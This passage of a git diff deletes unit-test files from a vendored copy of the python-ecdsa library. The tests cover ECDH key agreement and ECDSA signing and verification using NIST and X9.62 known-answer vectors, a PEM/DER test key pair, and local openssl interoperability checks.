self.assertRaises(InvalidCurveError) as e: - ecdh1.load_private_key(key1) - - self.assertIn("Curve mismatch", str(e.exception)) - - def test_generate_without_curve(self): - ecdh1 = ECDH() - - with self.assertRaises(NoCurveError) as e: - ecdh1.generate_private_key() - - self.assertIn("Curve must be set", str(e.exception)) - - def test_load_bytes_without_curve_set(self): - ecdh1 = ECDH() - - with self.assertRaises(NoCurveError) as e: - ecdh1.load_private_key_bytes(b"\x01" * 32) - - self.assertIn("Curve must be set", str(e.exception)) - - def test_set_curve_from_received_public_key(self): - ecdh1 = ECDH() - - key1 = SigningKey.generate(BRAINPOOLP160r1) - - ecdh1.load_received_public_key(key1.verifying_key) - - self.assertEqual(ecdh1.curve, BRAINPOOLP160r1) - - -def test_ecdh_wrong_public_key_curve(): - ecdh1 = ECDH(curve=NIST192p) - ecdh1.generate_private_key() - ecdh2 = ECDH(curve=NIST256p) - ecdh2.generate_private_key() - - with pytest.raises(InvalidCurveError): - ecdh1.load_received_public_key(ecdh2.get_public_key()) - - with pytest.raises(InvalidCurveError): - ecdh2.load_received_public_key(ecdh1.get_public_key()) - - ecdh1.public_key = ecdh2.get_public_key() - ecdh2.public_key = ecdh1.get_public_key() - - with pytest.raises(InvalidCurveError): - ecdh1.generate_sharedsecret_bytes() - - with pytest.raises(InvalidCurveError): - ecdh2.generate_sharedsecret_bytes() - - -def test_ecdh_invalid_shared_secret_curve(): - ecdh1 = ECDH(curve=NIST256p) - ecdh1.generate_private_key() - - ecdh1.load_received_public_key( - SigningKey.generate(NIST256p).get_verifying_key() - ) - - ecdh1.private_key.privkey.secret_multiplier = ecdh1.private_key.curve.order - - with pytest.raises(InvalidSharedSecretError): - ecdh1.generate_sharedsecret_bytes() - - -# https://github.com/scogliani/ecc-test-vectors/blob/master/ecdh_kat/secp192r1.txt -# https://github.com/scogliani/ecc-test-vectors/blob/master/ecdh_kat/secp256r1.txt -# https://github.com/coruus/nist-testvectors/blob/master/csrc.nist.gov/groups/STM/cavp/documents/components/ecccdhtestvectors/KAS_ECC_CDH_PrimitiveTest.txt -@pytest.mark.parametrize( - "curve,privatekey,pubkey,secret", - [ - pytest.param( - NIST192p, - "f17d3fea367b74d340851ca4270dcb24c271f445bed9d527", - "42ea6dd9969dd2a61fea1aac7f8e98edcc896c6e55857cc0" - "dfbe5d7c61fac88b11811bde328e8a0d12bf01a9d204b523", - "803d8ab2e5b6e6fca715737c3a82f7ce3c783124f6d51cd0", - id="NIST192p-1", - ), - pytest.param( - NIST192p, - "56e853349d96fe4c442448dacb7cf92bb7a95dcf574a9bd5", - "deb5712fa027ac8d2f22c455ccb73a91e17b6512b5e030e7" - "7e2690a02cc9b28708431a29fb54b87b1f0c14e011ac2125", - "c208847568b98835d7312cef1f97f7aa298283152313c29d", - id="NIST192p-2", - ), - pytest.param( - NIST192p, - "c6ef61fe12e80bf56f2d3f7d0bb757394519906d55500949", - "4edaa8efc5a0f40f843663ec5815e7762dddc008e663c20f" - "0a9f8dc67a3e60ef6d64b522185d03df1fc0adfd42478279", - "87229107047a3b611920d6e3b2c0c89bea4f49412260b8dd", - id="NIST192p-3", - ), - pytest.param( - NIST192p, - "e6747b9c23ba7044f38ff7e62c35e4038920f5a0163d3cda", - "8887c276edeed3e9e866b46d58d895c73fbd80b63e382e88" - "04c5097ba6645e16206cfb70f7052655947dd44a17f1f9d5", - "eec0bed8fc55e1feddc82158fd6dc0d48a4d796aaf47d46c", - id="NIST192p-4", - ), - pytest.param( - NIST192p, - "beabedd0154a1afcfc85d52181c10f5eb47adc51f655047d", - "0d045f30254adc1fcefa8a5b1f31bf4e739dd327cd18d594" - "542c314e41427c08278a08ce8d7305f3b5b849c72d8aff73", - "716e743b1b37a2cd8479f0a3d5a74c10ba2599be18d7e2f4", - id="NIST192p-5", - ), - pytest.param( - NIST192p, - "cf70354226667321d6e2baf40999e2fd74c7a0f793fa8699", - "fb35ca20d2e96665c51b98e8f6eb3d79113508d8bccd4516" - "368eec0d5bfb847721df6aaff0e5d48c444f74bf9cd8a5a7", - "f67053b934459985a315cb017bf0302891798d45d0e19508", - id="NIST192p-6", - ), - pytest.param( - NIST224p, - "8346a60fc6f293ca5a0d2af68ba71d1dd389e5e40837942df3e43cbd", - "af33cd0629bc7e996320a3f40368f74de8704fa37b8fab69abaae280" - "882092ccbba7930f419a8a4f9bb16978bbc3838729992559a6f2e2d7", - "7d96f9a3bd3c05cf5cc37feb8b9d5209d5c2597464dec3e9983743e8", - id="NIST224p", - ), - pytest.param( - NIST256p, - "7d7dc5f71eb29ddaf80d6214632eeae03d9058af1fb6d22ed80badb62bc1a534", - "700c48f77f56584c5cc632ca65640db91b6bacce3a4df6b42ce7cc838833d287" - "db71e509e3fd9b060ddb20ba5c51dcc5948d46fbf640dfe0441782cab85fa4ac", - "46fc62106420ff012e54a434fbdd2d25ccc5852060561e68040dd7778997bd7b", - id="NIST256p-1", - ), - pytest.param( - NIST256p, - "38f65d6dce47676044d58ce5139582d568f64bb16098d179dbab07741dd5caf5", - "809f04289c64348c01515eb03d5ce7ac1a8cb9498f5caa50197e58d43a86a7ae" - "b29d84e811197f25eba8f5194092cb6ff440e26d4421011372461f579271cda3", - "057d636096cb80b67a8c038c890e887d1adfa4195e9b3ce241c8a778c59cda67", - id="NIST256p-2", - ), - pytest.param( - NIST256p, - "1accfaf1b97712b85a6f54b148985a1bdc4c9bec0bd258cad4b3d603f49f32c8", - "a2339c12d4a03c33546de533268b4ad667debf458b464d77443636440ee7fec3" - "ef48a3ab26e20220bcda2c1851076839dae88eae962869a497bf73cb66faf536", - "2d457b78b4614132477618a5b077965ec90730a8c81a1c75d6d4ec68005d67ec", - id="NIST256p-3", - ), - pytest.param( - NIST256p, - "207c43a79bfee03db6f4b944f53d2fb76cc49ef1c9c4d34d51b6c65c4db6932d", - "df3989b9fa55495719b3cf46dccd28b5153f7808191dd518eff0c3cff2b705ed" - "422294ff46003429d739a33206c8752552c8ba54a270defc06e221e0feaf6ac4", - "96441259534b80f6aee3d287a6bb17b5094dd4277d9e294f8fe73e48bf2a0024", - id="NIST256p-4", - ), - pytest.param( - NIST256p, - "59137e38152350b195c9718d39673d519838055ad908dd4757152fd8255c09bf", - "41192d2813e79561e6a1d6f53c8bc1a433a199c835e141b05a74a97b0faeb922" - "1af98cc45e98a7e041b01cf35f462b7562281351c8ebf3ffa02e33a0722a1328", - "19d44c8d63e8e8dd12c22a87b8cd4ece27acdde04dbf47f7f27537a6999a8e62", - id="NIST256p-5", - ), - pytest.param( - NIST256p, - "f5f8e0174610a661277979b58ce5c90fee6c9b3bb346a90a7196255e40b132ef", - "33e82092a0f1fb38f5649d5867fba28b503172b7035574bf8e5b7100a3052792" - "f2cf6b601e0a05945e335550bf648d782f46186c772c0f20d3cd0d6b8ca14b2f", - "664e45d5bba4ac931cd65d52017e4be9b19a515f669bea4703542a2c525cd3d3", - id="NIST256p-6", - ), - pytest.param( - NIST384p, - "3cc3122a68f0d95027ad38c067916ba0eb8c38894d22e1b1" - "5618b6818a661774ad463b205da88cf699ab4d43c9cf98a1", - "a7c76b970c3b5fe8b05d2838ae04ab47697b9eaf52e76459" - "2efda27fe7513272734466b400091adbf2d68c58e0c50066" - "ac68f19f2e1cb879aed43a9969b91a0839c4c38a49749b66" - "1efedf243451915ed0905a32b060992b468c64766fc8437a", - "5f9d29dc5e31a163060356213669c8ce132e22f57c9a04f4" - "0ba7fcead493b457e5621e766c40a2e3d4d6a04b25e533f1", - id="NIST384p", - ), - pytest.param( - NIST521p, - "017eecc07ab4b329068fba65e56a1f8890aa935e57134ae0ffcce802735151f4ea" - "c6564f6ee9974c5e6887a1fefee5743ae2241bfeb95d5ce31ddcb6f9edb4d6fc47", - "00685a48e86c79f0f0875f7bc18d25eb5fc8c0b07e5da4f4370f3a949034085433" - "4b1e1b87fa395464c60626124a4e70d0f785601d37c09870ebf176666877a2046d" - "01ba52c56fc8776d9e8f5db4f0cc27636d0b741bbe05400697942e80b739884a83" - "bde99e0f6716939e632bc8986fa18dccd443a348b6c3e522497955a4f3c302f676", - "005fc70477c3e63bc3954bd0df3ea0d1f41ee21746ed95fc5e1fdf90930d5e1366" - "72d72cc770742d1711c3c3a4c334a0ad9759436a4d3c5bf6e74b9578fac148c831", - id="NIST521p", - ), - ], -) -def test_ecdh_NIST(curve, privatekey, pubkey, secret): - ecdh = ECDH(curve=curve) - ecdh.load_private_key_bytes(unhexlify(privatekey)) - ecdh.load_received_public_key_bytes(unhexlify(pubkey)) - - sharedsecret = ecdh.generate_sharedsecret_bytes() - - assert sharedsecret == unhexlify(secret) - - -pem_local_private_key = ( - "-----BEGIN EC PRIVATE KEY-----\n" - "MF8CAQEEGF7IQgvW75JSqULpiQQ8op9WH6Uldw6xxaAKBggqhkjOPQMBAaE0AzIA\n" - "BLiBd9CE7xf15FY5QIAoNg+fWbSk1yZOYtoGUdzkejWkxbRc9RWTQjqLVXucIJnz\n" - "bA==\n" - "-----END EC PRIVATE KEY-----\n" -) -der_local_private_key = ( - "305f02010104185ec8420bd6ef9252a942e989043ca29f561fa525770eb1c5a00a06082a864" - "8ce3d030101a13403320004b88177d084ef17f5e45639408028360f9f59b4a4d7264e62da06" - "51dce47a35a4c5b45cf51593423a8b557b9c2099f36c" -) -pem_remote_public_key = ( - "-----BEGIN PUBLIC KEY-----\n" - "MEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEuIF30ITvF/XkVjlAgCg2D59ZtKTX\n" - "Jk5i2gZR3OR6NaTFtFz1FZNCOotVe5wgmfNs\n" - "-----END PUBLIC KEY-----\n" -) -der_remote_public_key = ( - "3049301306072a8648ce3d020106082a8648ce3d03010103320004b88177d084ef17f5e4563" - "9408028360f9f59b4a4d7264e62da0651dce47a35a4c5b45cf51593423a8b557b9c2099f36c" -) -gshared_secret = "8f457e34982478d1c34b9cd2d0c15911b72dd60d869e2cea" - - -def test_ecdh_pem(): - ecdh = ECDH() - ecdh.load_private_key_pem(pem_local_private_key) - ecdh.load_received_public_key_pem(pem_remote_public_key) - - sharedsecret = ecdh.generate_sharedsecret_bytes() - - assert sharedsecret == unhexlify(gshared_secret) - - -def test_ecdh_der(): - ecdh = ECDH() - ecdh.load_private_key_der(unhexlify(der_local_private_key)) - ecdh.load_received_public_key_der(unhexlify(der_remote_public_key)) - - sharedsecret = ecdh.generate_sharedsecret_bytes() - - assert sharedsecret == unhexlify(gshared_secret) - - -# Exception classes used by run_openssl. -class RunOpenSslError(Exception): - pass - - -def run_openssl(cmd): - OPENSSL = "openssl" - p = subprocess.Popen( - [OPENSSL] + cmd.split(), - stdout=subprocess.PIPE, - stderr=subprocess.STDOUT, - ) - stdout, ignored = p.communicate() - if p.returncode != 0: - raise RunOpenSslError( - "cmd '%s %s' failed: rc=%s, stdout/err was %s" - % (OPENSSL, cmd, p.returncode, stdout) - ) - return stdout.decode() - - -OPENSSL_SUPPORTED_CURVES = set( - c.split(":")[0].strip() - for c in run_openssl("ecparam -list_curves").split("\n") -) - - -@pytest.mark.slow -@pytest.mark.parametrize( - "vcurve", - curves, - ids=[curve.name for curve in curves], -) -def test_ecdh_with_openssl(vcurve): - if isinstance(vcurve.curve, CurveEdTw): - pytest.skip("Edwards curves are not supported for ECDH") - - assert vcurve.openssl_name - - if vcurve.openssl_name not in OPENSSL_SUPPORTED_CURVES: - pytest.skip("system openssl does not support " + vcurve.openssl_name) - - try: - hlp = run_openssl("pkeyutl -help") - if hlp.find("-derive") == 0: # pragma: no cover - pytest.skip("system openssl does not support `pkeyutl -derive`") - except RunOpenSslError: # pragma: no cover - pytest.skip("system openssl could not be executed") - - if os.path.isdir("t"): # pragma: no branch - shutil.rmtree("t") - os.mkdir("t") - run_openssl( - "ecparam -name %s -genkey -out t/privkey1.pem" % vcurve.openssl_name - ) - run_openssl( - "ecparam -name %s -genkey -out t/privkey2.pem" % vcurve.openssl_name - ) - run_openssl("ec -in t/privkey1.pem -pubout -out t/pubkey1.pem") - - ecdh1 = ECDH(curve=vcurve) - ecdh2 = ECDH(curve=vcurve) - with open("t/privkey1.pem") as e: - key = e.read() - ecdh1.load_private_key_pem(key) - with open("t/privkey2.pem") as e: - key = e.read() - ecdh2.load_private_key_pem(key) - - with open("t/pubkey1.pem") as e: - key = e.read() - vk1 = VerifyingKey.from_pem(key) - assert vk1.to_string() == ecdh1.get_public_key().to_string() - vk2 = ecdh2.get_public_key() - with open("t/pubkey2.pem", "wb") as e: - e.write(vk2.to_pem()) - - ecdh1.load_received_public_key(vk2) - ecdh2.load_received_public_key(vk1) - secret1 = ecdh1.generate_sharedsecret_bytes() - secret2 = ecdh2.generate_sharedsecret_bytes() - - assert secret1 == secret2 - - run_openssl( - "pkeyutl -derive -inkey t/privkey1.pem -peerkey t/pubkey2.pem -out t/secret1" - ) - run_openssl( - "pkeyutl -derive -inkey t/privkey2.pem -peerkey t/pubkey1.pem -out t/secret2" - ) - - with open("t/secret1", "rb") as e: - ssl_secret1 = e.read() - with open("t/secret1", "rb") as e: - ssl_secret2 = e.read() - - assert len(ssl_secret1) == vk1.curve.verifying_key_length // 2 - assert len(secret1) == vk1.curve.verifying_key_length // 2 - - assert ssl_secret1 == ssl_secret2 - assert secret1 == ssl_secret1 diff --git a/venv/Lib/site-packages/ecdsa/test_ecdsa.py b/venv/Lib/site-packages/ecdsa/test_ecdsa.py deleted file mode 100644 index c1e25829b8558876021f9cdf3401a95a4cd56075..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/ecdsa/test_ecdsa.py +++ /dev/null @@ -1,694 +0,0 @@ -from __future__ import print_function -import sys -import hypothesis.strategies as st -from hypothesis import given, settings, note, example - -try: - import unittest2 as unittest -except ImportError: - import unittest -import pytest -from .ecdsa import ( - Private_key, - Public_key, - Signature, - generator_192, - digest_integer, - ellipticcurve, - point_is_valid, - generator_224, - generator_256, - generator_384, - generator_521, - generator_secp256k1, - curve_192, - InvalidPointError, - curve_112r2, - generator_112r2, - int_to_string, -) -from .ellipticcurve import Point - - -HYP_SETTINGS = {} -# old hypothesis doesn't have the "deadline" setting -if sys.version_info > (2, 7): # pragma: no branch - # SEC521p is slow, allow long execution for it - HYP_SETTINGS["deadline"] = 5000 - - -class TestP192FromX9_62(unittest.TestCase): - """Check test vectors from X9.62""" - - @classmethod - def setUpClass(cls): - cls.d = 651056770906015076056810763456358567190100156695615665659 - cls.Q = cls.d * generator_192 - cls.k = 6140507067065001063065065565667405560006161556565665656654 - cls.R = cls.k * generator_192 - - cls.msg = 968236873715988614170569073515315707566766479517 - cls.pubk = Public_key(generator_192, generator_192 * cls.d) - cls.privk = Private_key(cls.pubk, cls.d) - cls.sig = cls.privk.sign(cls.msg, cls.k) - - def test_point_multiplication(self): - assert self.Q.x() == 0x62B12D60690CDCF330BABAB6E69763B471F994DD702D16A5 - - def test_point_multiplication_2(self): - assert self.R.x() == 0x885052380FF147B734C330C43D39B2C4A89F29B0F749FEAD - assert self.R.y() == 0x9CF9FA1CBEFEFB917747A3BB29C072B9289C2547884FD835 - - def test_mult_and_addition(self): - u1 = 2563697409189434185194736134579731015366492496392189760599 - u2 = 6266643813348617967186477710235785849136406323338782220568 - temp = u1 * generator_192 + u2 * self.Q - assert temp.x() == 0x885052380FF147B734C330C43D39B2C4A89F29B0F749FEAD - assert temp.y() == 0x9CF9FA1CBEFEFB917747A3BB29C072B9289C2547884FD835 - - def test_signature(self): - r, s = self.sig.r, self.sig.s - assert r == 3342403536405981729393488334694600415596881826869351677613 - assert s == 5735822328888155254683894997897571951568553642892029982342 - - def test_verification(self): - assert self.pubk.verifies(self.msg, self.sig) - - def test_rejection(self): - assert not self.pubk.verifies(self.msg - 1, self.sig) - - def test_verification_with_regular_point(self): - pubk = Public_key( - Point( - generator_192.curve(), - generator_192.x(), - generator_192.y(), - generator_192.order(), - ), - self.pubk.point, - ) - - assert pubk.verifies(self.msg, self.sig) - - -class TestPublicKey(unittest.TestCase): - def test_equality_public_keys(self): - gen = generator_192 - x = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point = ellipticcurve.Point(gen.curve(), x, y) - pub_key1 = Public_key(gen, point) - pub_key2 = Public_key(gen, point) - self.assertEqual(pub_key1, pub_key2) - - def test_inequality_public_key(self): - gen = generator_192 - x1 = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y1 = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point1 = ellipticcurve.Point(gen.curve(), x1, y1) - - x2 = 0x6A223D00BD22C52833409A163E057E5B5DA1DEF2A197DD15 - y2 = 0x7B482604199367F1F303F9EF627F922F97023E90EAE08ABF - point2 = ellipticcurve.Point(gen.curve(), x2, y2) - - pub_key1 = Public_key(gen, point1) - pub_key2 = Public_key(gen, point2) - self.assertNotEqual(pub_key1, pub_key2) - - def test_inequality_different_curves(self): - gen = generator_192 - x1 = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y1 = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point1 = ellipticcurve.Point(gen.curve(), x1, y1) - - x2 = 0x722BA0FB6B8FC8898A4C6AB49E66 - y2 = 0x2B7344BB57A7ABC8CA0F1A398C7D - point2 = ellipticcurve.Point(generator_112r2.curve(), x2, y2) - - pub_key1 = Public_key(gen, point1) - pub_key2 = Public_key(generator_112r2, point2) - self.assertNotEqual(pub_key1, pub_key2) - - def test_inequality_public_key_not_implemented(self): - gen = generator_192 - x = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point = ellipticcurve.Point(gen.curve(), x, y) - pub_key = Public_key(gen, point) - self.assertNotEqual(pub_key, None) - - def test_public_key_with_generator_without_order(self): - gen = ellipticcurve.PointJacobi( - generator_192.curve(), generator_192.x(), generator_192.y(), 1 - ) - - x = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point = ellipticcurve.Point(gen.curve(), x, y) - - with self.assertRaises(InvalidPointError) as e: - Public_key(gen, point) - - self.assertIn("Generator point must have order", str(e.exception)) - - def test_public_point_on_curve_not_scalar_multiple_of_base_point(self): - x = 2 - y = 0xBE6AA4938EF7CFE6FE29595B6B00 - # we need a curve with cofactor != 1 - point = ellipticcurve.PointJacobi(curve_112r2, x, y, 1) - - self.assertTrue(curve_112r2.contains_point(x, y)) - - with self.assertRaises(InvalidPointError) as e: - Public_key(generator_112r2, point) - - self.assertIn("Generator point order", str(e.exception)) - - def test_point_is_valid_with_not_scalar_multiple_of_base_point(self): - x = 2 - y = 0xBE6AA4938EF7CFE6FE29595B6B00 - - self.assertFalse(point_is_valid(generator_112r2, x, y)) - - # the tests to verify the extensiveness of tests in ecdsa.ecdsa - # if PointJacobi gets modified to calculate the x and y mod p the tests - # below will need to use a fake/mock object - def test_invalid_point_x_negative(self): - pt = ellipticcurve.PointJacobi(curve_192, -1, 0, 1) - - with self.assertRaises(InvalidPointError) as e: - Public_key(generator_192, pt) - - self.assertIn("The public point has x or y", str(e.exception)) - - def test_invalid_point_x_equal_p(self): - pt = ellipticcurve.PointJacobi(curve_192, curve_192.p(), 0, 1) - - with self.assertRaises(InvalidPointError) as e: - Public_key(generator_192, pt) - - self.assertIn("The public point has x or y", str(e.exception)) - - def test_invalid_point_y_negative(self): - pt = ellipticcurve.PointJacobi(curve_192, 0, -1, 1) - - with self.assertRaises(InvalidPointError) as e: - Public_key(generator_192, pt) - - self.assertIn("The public point has x or y", str(e.exception)) - - def test_invalid_point_y_equal_p(self): - pt = ellipticcurve.PointJacobi(curve_192, 0, curve_192.p(), 1) - - with self.assertRaises(InvalidPointError) as e: - Public_key(generator_192, pt) - - self.assertIn("The public point has x or y", str(e.exception)) - - -class TestPublicKeyVerifies(unittest.TestCase): - # test all the different ways that a signature can be publicly invalid - @classmethod - def setUpClass(cls): - gen = generator_192 - x = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point = ellipticcurve.Point(gen.curve(), x, y) - - cls.pub_key = Public_key(gen, point) - - def test_sig_with_r_zero(self): - sig = Signature(0, 1) - - self.assertFalse(self.pub_key.verifies(1, sig)) - - def test_sig_with_r_order(self): - sig = Signature(generator_192.order(), 1) - - self.assertFalse(self.pub_key.verifies(1, sig)) - - def test_sig_with_s_zero(self): - sig = Signature(1, 0) - - self.assertFalse(self.pub_key.verifies(1, sig)) - - def test_sig_with_s_order(self): - sig = Signature(1, generator_192.order()) - - self.assertFalse(self.pub_key.verifies(1, sig)) - - -class TestPrivateKey(unittest.TestCase): - @classmethod - def setUpClass(cls): - gen = generator_192 - x = 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6 - y = 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F - point = ellipticcurve.Point(gen.curve(), x, y) - cls.pub_key = Public_key(gen, point) - - def test_equality_private_keys(self): - pr_key1 = Private_key(self.pub_key, 100) - pr_key2 = Private_key(self.pub_key, 100) - self.assertEqual(pr_key1, pr_key2) - - def test_inequality_private_keys(self): - pr_key1 = Private_key(self.pub_key, 100) - pr_key2 = Private_key(self.pub_key, 200) - self.assertNotEqual(pr_key1, pr_key2) - - def test_inequality_private_keys_not_implemented(self): - pr_key = Private_key(self.pub_key, 100) - self.assertNotEqual(pr_key, None) - - -# Testing point validity, as per ECDSAVS.pdf B.2.2: -P192_POINTS = [ - ( - generator_192, - 0xCD6D0F029A023E9AACA429615B8F577ABEE685D8257CC83A, - 0x00019C410987680E9FB6C0B6ECC01D9A2647C8BAE27721BACDFC, - False, - ), - ( - generator_192, - 0x00017F2FCE203639E9EAF9FB50B81FC32776B30E3B02AF16C73B, - 0x95DA95C5E72DD48E229D4748D4EEE658A9A54111B23B2ADB, - False, - ), - ( - generator_192, - 0x4F77F8BC7FCCBADD5760F4938746D5F253EE2168C1CF2792, - 0x000147156FF824D131629739817EDB197717C41AAB5C2A70F0F6, - False, - ), - ( - generator_192, - 0xC58D61F88D905293BCD4CD0080BCB1B7F811F2FFA41979F6, - 0x8804DC7A7C4C7F8B5D437F5156F3312CA7D6DE8A0E11867F, - True, - ), - ( - generator_192, - 0xCDF56C1AA3D8AFC53C521ADF3FFB96734A6A630A4A5B5A70, - 0x97C1C44A5FB229007B5EC5D25F7413D170068FFD023CAA4E, - True, - ), - ( - generator_192, - 0x89009C0DC361C81E99280C8E91DF578DF88CDF4B0CDEDCED, - 0x27BE44A529B7513E727251F128B34262A0FD4D8EC82377B9, - True, - ), - ( - generator_192, - 0x6A223D00BD22C52833409A163E057E5B5DA1DEF2A197DD15, - 0x7B482604199367F1F303F9EF627F922F97023E90EAE08ABF, - True, - ), - ( - generator_192, - 0x6DCCBDE75C0948C98DAB32EA0BC59FE125CF0FB1A3798EDA, - 0x0001171A3E0FA60CF3096F4E116B556198DE430E1FBD330C8835, - False, - ), - ( - generator_192, - 0xD266B39E1F491FC4ACBBBC7D098430931CFA66D55015AF12, - 0x193782EB909E391A3148B7764E6B234AA94E48D30A16DBB2, - False, - ), - ( - generator_192, - 0x9D6DDBCD439BAA0C6B80A654091680E462A7D1D3F1FFEB43, - 0x6AD8EFC4D133CCF167C44EB4691C80ABFFB9F82B932B8CAA, - False, - ), - ( - generator_192, - 0x146479D944E6BDA87E5B35818AA666A4C998A71F4E95EDBC, - 0xA86D6FE62BC8FBD88139693F842635F687F132255858E7F6, - False, - ), - ( - generator_192, - 0xE594D4A598046F3598243F50FD2C7BD7D380EDB055802253, - 0x509014C0C4D6B536E3CA750EC09066AF39B4C8616A53A923, - False, - ), -] - - -@pytest.mark.parametrize("generator,x,y,expected", P192_POINTS) -def test_point_validity(generator, x, y, expected): - """ - `generator` defines the curve; is `(x, y)` a point on - this curve? `expected` is True if the right answer is Yes. - """ - assert point_is_valid(generator, x, y) == expected - - -# Trying signature-verification tests from ECDSAVS.pdf B.2.4: -CURVE_192_KATS = [ - ( - generator_192, - int( - "0x84ce72aa8699df436059f052ac51b6398d2511e49631bcb7e71f89c499b9ee" - "425dfbc13a5f6d408471b054f2655617cbbaf7937b7c80cd8865cf02c8487d30" - "d2b0fbd8b2c4e102e16d828374bbc47b93852f212d5043c3ea720f086178ff79" - "8cc4f63f787b9c2e419efa033e7644ea7936f54462dc21a6c4580725f7f0e7d1" - "58", - 16, - ), - 0xD9DBFB332AA8E5FF091E8CE535857C37C73F6250FFB2E7AC, - 0x282102E364FEDED3AD15DDF968F88D8321AA268DD483EBC4, - 0x64DCA58A20787C488D11D6DD96313F1B766F2D8EFE122916, - 0x1ECBA28141E84AB4ECAD92F56720E2CC83EB3D22DEC72479, - True, - ), - ( - generator_192, - int( - "0x94bb5bacd5f8ea765810024db87f4224ad71362a3c28284b2b9f39fab86db1" - "2e8beb94aae899768229be8fdb6c4f12f28912bb604703a79ccff769c1607f5a" - "91450f30ba0460d359d9126cbd6296be6d9c4bb96c0ee74cbb44197c207f6db3" - "26ab6f5a659113a9034e54be7b041ced9dcf6458d7fb9cbfb2744d999f7dfd63" - "f4", - 16, - ), - 0x3E53EF8D3112AF3285C0E74842090712CD324832D4277AE7, - 0xCC75F8952D30AEC2CBB719FC6AA9934590B5D0FF5A83ADB7, - 0x8285261607283BA18F335026130BAB31840DCFD9C3E555AF, - 0x356D89E1B04541AFC9704A45E9C535CE4A50929E33D7E06C, - True, - ), - ( - generator_192, - int( - "0xf6227a8eeb34afed1621dcc89a91d72ea212cb2f476839d9b4243c66877911" - "b37b4ad6f4448792a7bbba76c63bdd63414b6facab7dc71c3396a73bd7ee14cd" - "d41a659c61c99b779cecf07bc51ab391aa3252386242b9853ea7da67fd768d30" - "3f1b9b513d401565b6f1eb722dfdb96b519fe4f9bd5de67ae131e64b40e78c42" - "dd", - 16, - ), - 0x16335DBE95F8E8254A4E04575D736BEFB258B8657F773CB7, - 0x421B13379C59BC9DCE38A1099CA79BBD06D647C7F6242336, - 0x4141BD5D64EA36C5B0BD21EF28C02DA216ED9D04522B1E91, - 0x159A6AA852BCC579E821B7BB0994C0861FB08280C38DAA09, - False, - ), - ( - generator_192, - int( - "0x16b5f93afd0d02246f662761ed8e0dd9504681ed02a253006eb36736b56309" - "7ba39f81c8e1bce7a16c1339e345efabbc6baa3efb0612948ae51103382a8ee8" - "bc448e3ef71e9f6f7a9676694831d7f5dd0db5446f179bcb737d4a526367a447" - "bfe2c857521c7f40b6d7d7e01a180d92431fb0bbd29c04a0c420a57b3ed26ccd" - "8a", - 16, - ), - 0xFD14CDF1607F5EFB7B1793037B15BDF4BAA6F7C16341AB0B, - 0x83FA0795CC6C4795B9016DAC928FD6BAC32F3229A96312C4, - 0x8DFDB832951E0167C5D762A473C0416C5C15BC1195667DC1, - 0x1720288A2DC13FA1EC78F763F8FE2FF7354A7E6FDDE44520, - False, - ), - ( - generator_192, - int( - "0x08a2024b61b79d260e3bb43ef15659aec89e5b560199bc82cf7c65c77d3919" - "2e03b9a895d766655105edd9188242b91fbde4167f7862d4ddd61e5d4ab55196" - "683d4f13ceb90d87aea6e07eb50a874e33086c4a7cb0273a8e1c4408f4b846bc" - "eae1ebaac1b2b2ea851a9b09de322efe34cebe601653efd6ddc876ce8c2f2072" - "fb", - 16, - ), - 0x674F941DC1A1F8B763C9334D726172D527B90CA324DB8828, - 0x65ADFA32E8B236CB33A3E84CF59BFB9417AE7E8EDE57A7FF, - 0x9508B9FDD7DAF0D8126F9E2BC5A35E4C6D800B5B804D7796, - 0x36F2BF6B21B987C77B53BB801B3435A577E3D493744BFAB0, - False, - ), - ( - generator_192, - int( - "0x1843aba74b0789d4ac6b0b8923848023a644a7b70afa23b1191829bbe4397c" - "e15b629bf21a8838298653ed0c19222b95fa4f7390d1b4c844d96e645537e0aa" - "e98afb5c0ac3bd0e4c37f8daaff25556c64e98c319c52687c904c4de7240a1cc" - "55cd9756b7edaef184e6e23b385726e9ffcba8001b8f574987c1a3fedaaa83ca" - "6d", - 16, - ), - 0x10ECCA1AAD7220B56A62008B35170BFD5E35885C4014A19F, - 0x04EB61984C6C12ADE3BC47F3C629ECE7AA0A033B9948D686, - 0x82BFA4E82C0DFE9274169B86694E76CE993FD83B5C60F325, - 0xA97685676C59A65DBDE002FE9D613431FB183E8006D05633, - False, - ), - ( - generator_192, - int( - "0x5a478f4084ddd1a7fea038aa9732a822106385797d02311aeef4d0264f824f" - "698df7a48cfb6b578cf3da416bc0799425bb491be5b5ecc37995b85b03420a98" - "f2c4dc5c31a69a379e9e322fbe706bbcaf0f77175e05cbb4fa162e0da82010a2" - "78461e3e974d137bc746d1880d6eb02aa95216014b37480d84b87f717bb13f76" - "e1", - 16, - ), - 0x6636653CB5B894CA65C448277B29DA3AD101C4C2300F7C04, - 0xFDF1CBB3FC3FD6A4F890B59E554544175FA77DBDBEB656C1, - 0xEAC2DDECDDFB79931A9C3D49C08DE0645C783A24CB365E1C, - 0x3549FEE3CFA7E5F93BC47D92D8BA100E881A2A93C22F8D50, - False, - ), - ( - generator_192, - int( - "0xc598774259a058fa65212ac57eaa4f52240e629ef4c310722088292d1d4af6" - "c39b49ce06ba77e4247b20637174d0bd67c9723feb57b5ead232b47ea452d5d7" - "a089f17c00b8b6767e434a5e16c231ba0efa718a340bf41d67ea2d295812ff1b" - "9277daacb8bc27b50ea5e6443bcf95ef4e9f5468fe78485236313d53d1c68f6b" - "a2", - 16, - ), - 